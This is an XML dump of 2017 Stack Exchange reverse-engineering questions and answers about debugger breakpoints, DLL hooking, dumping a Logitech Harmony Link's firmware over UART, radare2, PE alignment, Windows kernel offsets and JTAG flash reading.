  <row Id="16463" PostTypeId="1" CreationDate="2017-10-01T22:05:26.443" Score="2" ViewCount="669" Body="&lt;p&gt;While reverse engineering an iPhone app remotely, I set up breakpoints to some function's adresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These adresses comes from the disassembled binary analysed with Hopper, and it seems like they &lt;strong&gt;must&lt;/strong&gt; be called by the app. Like &lt;code&gt;user_click_on_blue_buton&lt;/code&gt;, or equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked that the breakpoint are set up correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;none is in pending state,&lt;/li&gt;&#xA;&lt;li&gt;all have the flag resolved to true: &lt;code&gt;resolved = 1&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;and the disassembled code at these addresses is the same as in the binary statically analysed with Hopper.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But then, when I click on the blue button, lldb does not stop at breakpoint. The process continues like there was no breakpoints. To be exact, some are working, but just a few, not all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that lldb misses the breakpoint ? Or is it because the app is tricking me and these functions are not called ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the app is a released iOS app from the app store. So definitely not compiled to be debugged. Is it the reason ?&lt;/p&gt;&#xA;" OwnerUserId="21813" LastActivityDate="2017-10-16T00:44:14.497" Title="Why lldb seems to not stop at breakpoints?" Tags="|breakpoint|lldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16464" PostTypeId="1" CreationDate="2017-10-01T22:34:36.233" Score="0" ViewCount="243" Body="&lt;p&gt;If this is the wrong spot for this, or is a duplicate, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a computer professional getting started with decompiling and reverse engineering just for fun and resume building. I have a decent grasp of assembly, but I'm still learning. &lt;strong&gt;If this is a dumb question, let me know why it's dumb.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to bypass a problematic DLL in an win32 application. I tried letting the DLL run, then setting all the jumps in the main app via debugging, but memory access errors are being thrown. I'm pretty sure it's doing more than just returning values in AX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way I can run the program, save all the memory / stack ops done by the dll? Maybe a trace of some kind?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What tool could do this (Ollydbg, IDA, MS Detours)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this a productive way to approach the problem?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I did this, I would have a success case. I could then re-code the DLL with op code to do what it needs to do and replace the rest with no-ops. Haven't had much luck with this on Google.&lt;/p&gt;&#xA;" OwnerUserId="21814" LastEditorUserId="21814" LastEditDate="2017-10-02T20:13:53.703" LastActivityDate="2017-10-02T20:13:53.703" Title="Bypass DLL by returning correct values? Or alternative technique" Tags="|disassembly|dll|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16465" PostTypeId="1" CreationDate="2017-10-02T02:15:28.593" Score="6" ViewCount="6095" Body="&lt;p&gt;See Update below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got an email from Logitech that they are End of Lifing their Harmony Link product (see &lt;a href=&quot;https://community.logitech.com/s/question/0D55A0000745EkCSAU/harmony-link-eos-or-eol&quot; rel=&quot;noreferrer&quot;&gt;https://community.logitech.com/s/question/0D55A0000745EkCSAU/harmony-link-eos-or-eol&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took it upon myself to start taking it apart. Peeling back the sticky pads on the bottom revealed 4 solder points. Two of which happen to UART connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the info when booting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;++NAND: RCSR=54200900&#xA;Searching for BBT table in the flash ...&#xA;.&#xA;Found version 1 Bbt0 at block 1023 (0x7fe0000)&#xA;Total bad blocks: 0&#xA;.[Warning] FEC not connect right PHY: ID=fffffc&#xA;FEC: [ FULL_DUPLEX ] [ connected ] [ 100M bps ]:&#xA;Ethernet mxc_fec: MAC address sn:ip:ped:fr:om:vu&#xA;No IP info for device!&#xA;Unrecognized chip: 0xf8!!!&#xA;hardware reset by POR&#xA;&#xA;Clock input is 24 MHz&#xA;RedBoot(tm) bootstrap and debug environment [ROMRAM]&#xA;Non-certified release, version FSL 200904 - built 21:32:37, Jul  5 2011&#xA;&#xA;Platform: Logitech Baby (i.MX25 )  PASS 1.0 [x32 DDR]&#xA;System type 2070 revision 6&#xA;Copyright (C) 2000, 2001, 2002, 2003, 2004 Red Hat, Inc.&#xA;Copyright (C) 2003, 2004, 2005, 2006 eCosCentric Limited&#xA;&#xA;RAM: 0x00000000-0x03f00000, [0x00095250-0x03ef1000] available&#xA;FLASH: 0x00000000 - 0x8000000, 1024 blocks of 0x00020000 bytes each.&#xA;== Executing boot script in 3.000 seconds - enter ^C to abort&#xA;RedBoot&amp;gt; ubi attach -f 0x80000 -l 0x07EC0000 -w 0x800 -e 0x20000 -s 0x200&#xA;scanning 1014 PEBs&#xA;........................................................................................................................................d&#xA;RedBoot&amp;gt; ubi load -b 0x100000 kernel%{os_backup}&#xA;RedBoot&amp;gt; exec -c %{os_cmdline}entry=0x80008000, target=0x80008000&#xA;Using base address 0x00100000 and length 0x0013a6d4&#xA;Uncompressing Linux..................................................................................... done, booting the kernel.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is running a booter called RedBoot. This seems to show the individual image files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedBoot&amp;gt; ubi info&#xA;Volumes count:                           8&#xA;Logical eraseblock size:                 129024&#xA;Total amount of logical eraseblocks:     1014 (130830336 bytes)&#xA;Amount of available logical eraseblocks: 337 (43481088 bytes)&#xA;Maximum count of volumes                 128&#xA;Count of bad physical eraseblocks:       0&#xA;Count of reserved physical eraseblocks:  10&#xA;Current min/mean/max erase counter:      2/5/9&#xA;Minimum input/output unit size:          2048 bytes&#xA;VID header offset:                       512&#xA;-----------------------------------&#xA;Volume ID:   0&#xA;Type:        static&#xA;Alignment:   1&#xA;Size:        17 LEBs (2228224 bytes)&#xA;Used:        10 LEBs (1287892 bytes)&#xA;State:       OK&#xA;Name:        kernel&#xA;-----------------------------------&#xA;Volume ID:   1&#xA;Type:        static&#xA;Alignment:   1&#xA;Size:        114 LEBs (14942208 bytes)&#xA;Used:        92 LEBs (11862016 bytes)&#xA;State:       OK&#xA;Name:        cramfs&#xA;-----------------------------------&#xA;Volume ID:   4&#xA;Type:        dynamic&#xA;Alignment:   1&#xA;Size:        25 LEBs (3276800 bytes)&#xA;State:       OK&#xA;Name:        mfgdata&#xA;-----------------------------------&#xA;Volume ID:   5&#xA;Type:        dynamic&#xA;Alignment:   1&#xA;Size:        261 LEBs (34209792 bytes)&#xA;State:       OK&#xA;Name:        storage&#xA;-----------------------------------&#xA;Volume ID:   6&#xA;Type:        static&#xA;Alignment:   1&#xA;Size:        25 LEBs (3276800 bytes)&#xA;Used:        10 LEBs (1287892 bytes)&#xA;State:       OK&#xA;Name:        kernel_sm&#xA;-----------------------------------&#xA;Volume ID:   7&#xA;Type:        static&#xA;Alignment:   1&#xA;Size:        114 LEBs (14942208 bytes)&#xA;Used:        102 LEBs (13033472 bytes)&#xA;State:       OK&#xA;Name:        cramfs_sm&#xA;-----------------------------------&#xA;Volume ID:   8&#xA;Type:        dynamic&#xA;Alignment:   1&#xA;Size:        25 LEBs (3276800 bytes)&#xA;State:       OK&#xA;Name:        usrconf&#xA;-----------------------------------&#xA;Volume ID:   9&#xA;Type:        dynamic&#xA;Alignment:   1&#xA;Size:        82 LEBs (10747904 bytes)&#xA;State:       OK&#xA;Name:        logitech&#xA;-----------------------------------&#xA;Volume ID:   2147479551&#xA;Type:        dynamic&#xA;Alignment:   0&#xA;Size:        0 LEBs (0 bytes)&#xA;State:       OK&#xA;Name:        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the question: Can anyone help me make use of this info? How can I best get the info off the device via this UART cable?  I've toyed with the &lt;code&gt;dump&lt;/code&gt; command to various levels of success but that is pretty cumbersome just showing typical hex text in the form of &#xA;&lt;code&gt;00139E70: F8 13 90 C7 98 3B 7B CF  04 9F 80 E1 9A FF 8B 68  |.....;{........h|&lt;/code&gt; &#xA;which is hard to do anything with. So, any ideas as to how I should proceed? Many thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;I've managed to dump (I think) the entire memory, but haven't gotten much out of it with Binwalk.&#xA;In case anyone else wants to take a look, here it is.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/pxpugqpptqc3ph9/data-complete.bin&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/pxpugqpptqc3ph9/data-complete.bin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8057" LastEditorUserId="8057" LastEditDate="2017-10-22T02:42:33.950" LastActivityDate="2017-11-09T17:44:37.727" Title="Help reversing end-of-life'd Logitech Link. How to get Flash Contents" Tags="|firmware|linux|embedded|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16466" PostTypeId="1" AcceptedAnswerId="16468" CreationDate="2017-10-02T05:34:12.760" Score="9" ViewCount="1265" Body="&lt;p&gt;I recently start to use radare2 and I have a question&#xA;How can I print info about the heap with dmhb dmhf etc. while debugging ?&#xA;I would like to have the heap informations on the right and the disassembly view on the left but I don't know how to do it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I launch these commands it prints below the disassembly view...&lt;/p&gt;&#xA;" OwnerUserId="21219" LastEditorUserId="53" LastEditDate="2017-10-02T05:57:52.867" LastActivityDate="2017-10-02T06:02:10.520" Title="Split view radare2 print heap" Tags="|radare2|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16467" PostTypeId="2" ParentId="16445" CreationDate="2017-10-02T05:57:31.903" Score="1" Body="&lt;p&gt;You just have to attach to the hanging process as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pidof myhangingprocess&#xA;32220&#xA;$ r2 -d 32220&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, that should start a radare2 session on the program you are inspecting. But, for debugging, I would greatly prefer to use &lt;code&gt;gdb&lt;/code&gt; (radare2 is a good tool for reverse-engineering but not really for debugging).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-10-02T05:57:31.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16468" PostTypeId="2" ParentId="16466" CreationDate="2017-10-02T06:02:10.520" Score="10" Body="&lt;p&gt;You can use &lt;code&gt;|&lt;/code&gt; or &lt;code&gt;=&lt;/code&gt; in &lt;em&gt;Visual Mode&lt;/em&gt; to split horizontally and vertically respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your file in debug mode and go to Visual Mode by pressing &lt;code&gt;V&lt;/code&gt;, then press &lt;code&gt;p&lt;/code&gt; until you reach the assembly view:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d program&#xA;[0xf7799b30]&amp;gt; V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;code&gt;|&lt;/code&gt; and you'll be able to configure &lt;code&gt;cmd.cprompt&lt;/code&gt;. Write the command that you wish to see in the right pane of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can configure it using &lt;code&gt;e cmd.cprompt=&amp;lt;your_command&amp;gt;&lt;/code&gt; or &lt;code&gt;e cmd.vprompt=&amp;lt;your_command&amp;gt;&lt;/code&gt; from the terminal.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-10-02T06:02:10.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16469" PostTypeId="2" ParentId="16464" CreationDate="2017-10-02T06:08:02.213" Score="3" Body="&lt;p&gt;I think you should look into API hooking. &lt;a href=&quot;https://www.pelock.com/articles/intercepting-dll-libraries-calls-api-hooking-in-practice&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page&lt;/a&gt; will go into detail about API hooking. In your case I would create a DLL library and inject it to the target process (either when the target loads or whenever it is already loaded). Your library should then detour the calls to the original function to your proxy method.&lt;/p&gt;&#xA;" OwnerUserId="13255" LastActivityDate="2017-10-02T06:08:02.213" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16470" PostTypeId="2" ParentId="16461" CreationDate="2017-10-02T12:46:04.067" Score="5" Body="&lt;p&gt;Sections are aligned so the next section doesn't automatically start at the end of the current section. Sections on disk and memory have different alignments. Sections on disk are usually aligned by 512 bytes which is the traditional size of a disk sector (stored in &lt;code&gt;IMAGE_OPTIONAL_HEADER.FileAlignment&lt;/code&gt;). In memory, they are usually page aligned (stored in &lt;code&gt;IMAGE_OPTIONAL_HEADER.SectionAlignment&lt;/code&gt;). It allows the loader to apply different memory protection permissions on different sections since permissions are applied on page by page basis. Example: &lt;code&gt;.text&lt;/code&gt; can have &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; while &lt;code&gt;.data&lt;/code&gt; might have &lt;code&gt;PAGE_READONLY&lt;/code&gt; permission only, if &lt;code&gt;.data&lt;/code&gt; isn't aligned, it's content that fits in the last &lt;code&gt;.text&lt;/code&gt;'s page will have &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; permission instead of &lt;code&gt;PAGE_READONLY&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastEditorUserId="2043" LastEditDate="2017-10-02T13:07:18.167" LastActivityDate="2017-10-02T13:07:18.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16472" PostTypeId="1" AcceptedAnswerId="16493" CreationDate="2017-10-02T19:15:10.383" Score="0" ViewCount="103" Body="&lt;p&gt;I'm trying to debug the corruption of a linked list structure inside of a Win32 DLL with IDA Pro and Hexrays. The offending assembly traverses a doubly-linked list forwards checking a condition, and breaks if the next node of the list is null. When the application using the library is run fast enough, the address holding the pointer location being iterated becomes corrupted with a value far outside the bounds of addressable memory, crashing the program. I want to see if the previous linked list node contained the corrupted pointer as its next node or the bug is elsewhere, but there are no references to the parent at the time of the crash, since the node is overwritten inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug is only triggered when the application is running at full speed, likely because it's a race condition. Because of this, I can't trace or conditionally break on the the execution of the assembly block because it slows the program down so much that the bug doesn't trigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way of injecting a global variable somewhere in memory holding the address of the previously iterated linked list node, or otherwise patching the code structure so the values the program checked are inspectable somehow?&lt;/p&gt;&#xA;" OwnerUserId="21820" LastActivityDate="2017-10-06T23:00:17.267" Title="Tracing the last written value of a memory location without slowdown" Tags="|ida|windows|debugging|hexrays|tracing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16474" PostTypeId="1" AcceptedAnswerId="16476" CreationDate="2017-10-03T06:36:25.040" Score="8" ViewCount="2241" Body="&lt;p&gt;While reading Practical Reverse Engineering by Bruce Dang, I came across the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N6Xu8.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N6Xu8.png&quot; alt=&quot;Image from Practical Reverse Engineering&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Am I correct in my assumption that the procedures return a pointer to the current thread and current process respectively?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;em&gt;PsCurrentProcess&lt;/em&gt;, the offset into the current thread is &lt;em&gt;0B8h&lt;/em&gt; whereas in the comment it is written as &lt;em&gt;0x70&lt;/em&gt;. I do not understand what the author means by this. In an attempt to find out I tried to debug a x64 Windows 10 Kernel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/meB1Z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/meB1Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4TLmt.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4TLmt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any thing at offsets 70h nor B8h. But I did find a &lt;em&gt;_KPROCESS&lt;/em&gt; at offset &lt;em&gt;220h&lt;/em&gt;. Is this what I am looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/een6v.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/een6v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Will this offset be the same for all Windows 10 x64 systems?&lt;/li&gt;&#xA;&lt;li&gt;I would like to know about the internals of all these structures. Is there any resource that explains all the important internal data structures in Windows from a reverse engineering stand point. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2017-10-03T07:52:41.890" LastActivityDate="2017-10-04T18:12:54.427" Title="Getting the current process in Windows" Tags="|process|kernel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16475" PostTypeId="2" ParentId="16465" CreationDate="2017-10-03T11:26:07.953" Score="2" Body="&lt;p&gt;If you are able to get hex output of the partition data, you can store it in a text file and then convert to a binary. On Linux, the following commands may help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat data.txt | cut -d' ' -f2-18 | sed s/\\s//g | tr -d '\n' | xxd -r -p &amp;gt; data.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-10-03T11:26:07.953" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16476" PostTypeId="2" ParentId="16474" CreationDate="2017-10-03T13:25:39.333" Score="3" Body="&lt;p&gt;To start with, the offsets are more likely to match the current OS at the time of the book's writing (probably Win7) than Windows 10. That said, a good reference to internal kernel structures over different Windows versions is Geoff Chapell's website: &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/index.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.geoffchappell.com/studies/windows/km/index.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, looking at &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kpcr.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;KPCR&lt;/code&gt;&lt;/a&gt;, we can see that at &lt;code&gt;0x0180&lt;/code&gt; we have &lt;code&gt;KPRCB Prcb;&lt;/code&gt;, so 188h is 8 bytes into &lt;code&gt;KPRCB&lt;/code&gt;. Checking &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kprcb/amd64.htm?tx=111&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;KPRCB&lt;/code&gt;&lt;/a&gt;, in turn, we see that offset 8 is &lt;code&gt;KTHREAD *CurrentThread;&lt;/code&gt;. So the offset &lt;code&gt;0B8h&lt;/code&gt; should be looked up in the &lt;code&gt;KTHREAD&lt;/code&gt; struct. I was able to find on &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm?tx=109&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; the member &lt;code&gt;KAPC_STATE ApcState;&lt;/code&gt; at offset &lt;strong&gt;0x70&lt;/strong&gt; in x86 version and &lt;strong&gt;0x98&lt;/strong&gt; in x64. &#xA;I'm not sure what OS version is the quoted disassembly coming from, but it looks like there's been some mixup. You should probably submit an errata report on the &lt;a href=&quot;http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118787315,subjectCd-CSJ0.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;book's page at Wiley&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime look at the disassembly of mentioned functions in the kernel you're actually running and &lt;em&gt;then&lt;/em&gt; match it against the structs you're printing.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-10-03T13:34:52.003" LastActivityDate="2017-10-03T13:34:52.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16477" PostTypeId="1" AcceptedAnswerId="16479" CreationDate="2017-10-03T16:37:45.570" Score="7" ViewCount="3257" Body="&lt;p&gt;I'm trying to read the flash memory of a microcontroller MPC5606B from Motorola. I saw his pins and saw that it uses jtag to perform debug, so I'm trying to use it JTAG interface to read its flash content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the MPC's flash content using a tool (UPA) and a PC, however, I want to do it by my own, using my own embedded hardware without the PC's tool. I read about JTAG standard( JTAG_IEEE-Std-1149.1-2001 ), and some videos and explanations on the internet. I read about TAP controller state diagram and read about some instructions too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to better understand the JTAG reading, I Used the PC's tool to read the MCP's flash and an osciloscope to see how the communication is performed, however, the communication has almost 10s of duration. So, I filled the entire flash with zeros and read the memory, in this way, I was able identify the reading of memory using the osciloscope. However, although I can identify the reading of memory using the osciloscope, I can't determine yet the exact sequence of commands to perform the reading. The time of reading is too big, almost 10s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, before to go more deep, I would like to know if there is some kind of protection to access the flash memory. I tried to understand the beginning of the communication, I can identify the progress in the TAP controller's state machine, but I was not able to understand what this steps means and why it is done. So, I would like to know:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Can I determine if the communication has some kind of protection ? I really need to know it before to go further in the task because I need to know the task's complexity level before to go more deep&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Although I read  about the JTAG standard and the TAP controller state machine, I was not able to say what sequence of comands I need to read the flahs content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Abaixo está a leitura do flash do MPC5606B realizada pela ferramenta com o auxílio do PC. The image is composed of a sequence of images. The first is the image of the communication in full, the second is the beginning of the communication, there is an arrow indicating where it was withdrawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SLq5T.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SLq5T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was my interpretation until now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FIGURE 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1 - (TMS = 1) Test-Logic-Resset &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.2 - (CLK wide pulse) I do not know why. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.3 - (8 pulses of CLK, TMS = 1) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since TMS did not came out to 1 I understand that it did not quit Test-logic-Reset &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.4 - (TMS = 0, 1 pulse clock) enters Run-Test-Idle &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;FIGURE 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1 - (TMS = 1, 2 clock pulses) Goes to the &quot;Select IR-Scan&quot; state&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.2 - (TMS = 0, 2 pulses of clock) Go to the state &quot;Shif-IR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.3 - (TMS = 0, 4 clock pulses) Remains in &quot;Shift-IR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TDI: 1000&#xA;TDO: 1000&#xA;2.4 - (TMS = 1, 1 clock pulse) Goes to the &quot;Exit1-IR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.5 - (TMS = 1, 1 clock pulse) Goes to the status &quot;Update-IR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.6 - (TMS = 0, 1 clock pulse) Goes to the &quot;Run-Test-Idle&quot;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;FIGURE 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1 - (TMS = 1, 1 clock pulse) goes to the &quot;Select DR-Scan&quot; state&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.2 - (TMS = 0, 2 clock pulses) Go to the status &quot;Shif-DR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.3 - (TMS = 0, 31 clock pulses) Go to the &quot;Shif-DR&quot; state&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 32 clock cycles are equivalent to 4 bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TDI: 0x00 0x00 0x00 0x00&#xA;TDO: 0xB8 0x0C 0x27 0x54 (10111000 00001100 00100111 01010100)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.4 - (TMS = 1, 1 clock pulse) Goes to the &quot;Exit1-DR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.5 - (TMS = 1, 1 clock pulse) Goes to the status &quot;Update-DR&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.6 - (TMS = 0, 1 clock pulse) Goes to the &quot;Run-Test-Idle&quot; &lt;/p&gt;&#xA;" OwnerUserId="21835" LastActivityDate="2019-10-15T12:54:14.320" Title="Flash Reading by JTAG" Tags="|jtag|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16478" PostTypeId="2" ParentId="16477" CreationDate="2017-10-03T22:10:15.033" Score="5" Body="&lt;p&gt;Your interpretation looks pretty close to me. However, this is very low-level view, you need to bring it back to the higher level, at least IR/DR. For example, the whole exchange 1-3 can be summarized as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write IR=0b100 (8), read DR=0x2AE4301D &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(DR bits are shifted in from the lowest one, so you need to swap the bit string)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This IR value is very close to the standard IDCODE(4), so I think there is an off-by-one in your interpretation and this exchange is reading the device ID. In fact, the value 0x2AE4301D  matches the one for MPC5606BF I found in &lt;a href=&quot;https://www.nxp.com/docs/en/application-note/AN4477.pdf&quot; rel=&quot;noreferrer&quot;&gt;this document&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for actual flash reading, I doubt it's done using raw JTAG commands. AFAIK the common ways of reading flash are the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;using boundary scan, set and read the CPU pins connected to the flash chip; basically turning the CPU into a bit-bang flash programmer. This obviously only works with external flash so probably not your case&lt;/li&gt;&#xA;&lt;li&gt;using custom chip-specific debugging commands, read and write the flash device I/O registers in the CPU memory space.&lt;/li&gt;&#xA;&lt;li&gt;using custom chip-specific debugging commands, upload a small flasher program into the CPU's RAM and let it execute. The program would chunks of flash into a RAM area which can then be fetched via JTAG back to the host. by setting the register state before each execution, different parts of flash could be accessed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would recommend you to use a program like urJTAG or OpenOCD to perform high-level JTAG manipulations (like sending IR and reading DR) if you want to reproduce what the flasher program is doing. urJTAG also has a mode to brute-force possible IR values which may let you discover the vendor-specific commands.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-03T22:10:15.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16479" PostTypeId="2" ParentId="16477" CreationDate="2017-10-04T06:26:28.403" Score="6" Body="&lt;p&gt;Interpreting JTAG transactions by hand can be pretty tiresome. If you can export your data to a more or less universal data format, like VCD or even a CSV file, you can use &lt;a href=&quot;http://sigrok.org/&quot; rel=&quot;noreferrer&quot;&gt;Sigrok and Pulseview&lt;/a&gt; to decode your data. This will decode the low-level JTAG data; if you know the specifics of the controller like TAP register layout and command set, you can extend Sigrok with a decoder that runs on top of the existing IEEE-1149 decoder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/g63XS.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/g63XS.jpg&quot; alt=&quot;jtag&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2017-10-04T06:26:28.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
